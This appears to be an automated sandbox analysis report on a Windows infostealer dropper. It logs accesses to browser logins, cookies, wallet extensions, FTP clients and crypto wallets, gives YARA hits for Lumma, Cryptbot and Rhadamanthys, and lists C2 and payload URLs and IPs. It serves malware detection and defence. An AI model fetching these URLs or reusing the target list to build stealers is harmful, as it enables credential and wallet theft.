Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL

Source: Yara match

File source: 00000030.00000003.3302895820.0000000001332000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000025.00000002.2838016524.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2813486090.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2817891813.00000000009D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2818001314.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BAEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00BAEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BADF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00BADF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Access Token Manipulation	41 Obfuscated Files or Information	121 Input Capture	14 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	312 Process Injection	121 Software Packing	Security Account Manager	368 System Information Discovery	SMB/Windows Admin Shares	121 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	1 DLL Side-Loading	NTDS	1161 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	361 Virtualization/Sandbox Evasion	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	312 Process Injection	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe_Y.exe	54%	Virustotal		Browse
random.exe_Y.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
random.exe_Y.exe	100%	Avira	TR/Crypt.TPM.Gen
random.exe_Y.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://31.41.244.11/files/unique1/random.exeE	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exeedB	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php6879001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php.usere	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php7H	100%	Avira URL Cloud	malware
pancakedipyps.click	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php879001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpcal	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpLocal	100%	Avira URL Cloud	malware
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exel%	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exem	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpHH	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	100%	Avira URL Cloud	malware
http://31.41.244.11/files/dodo/random.exe	100%	Avira URL Cloud	phishing
https://grannyejh.lat/api	0%	Avira URL Cloud	safe
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=W5I04RJg8H8zmx9g1734518880	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpTemp	100%	Avira URL Cloud	malware
http://31.41.244.11/files/dodo/random.exe4&M	0%	Avira URL Cloud	safe
http://twentytk20pn.top/v1/upload.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
grannyejh.lat	104.21.64.80	true	true	unknown
www.google.com	142.250.181.132	true	false	high
home.twentytk20pn.top	185.185.71.170	true	false	high
twentytk20pn.top	185.185.71.170	true	false	high
httpbin.org	98.85.100.80	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	true	Avira URL Cloud: safe	unknown
necklacebudi.lat	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	true	Avira URL Cloud: safe	unknown
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
https://pancakedipyps.click/api	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=W5I04RJg8H8zmx9g1734518880	true	Avira URL Cloud: safe	unknown
energyaffai.lat	false		high
https://httpbin.org/ip	false		high
https://grannyejh.lat/api	true	Avira URL Cloud: safe	unknown
http://twentytk20pn.top/v1/upload.php	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.phpT	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php.usere	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php879001	skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	false		high
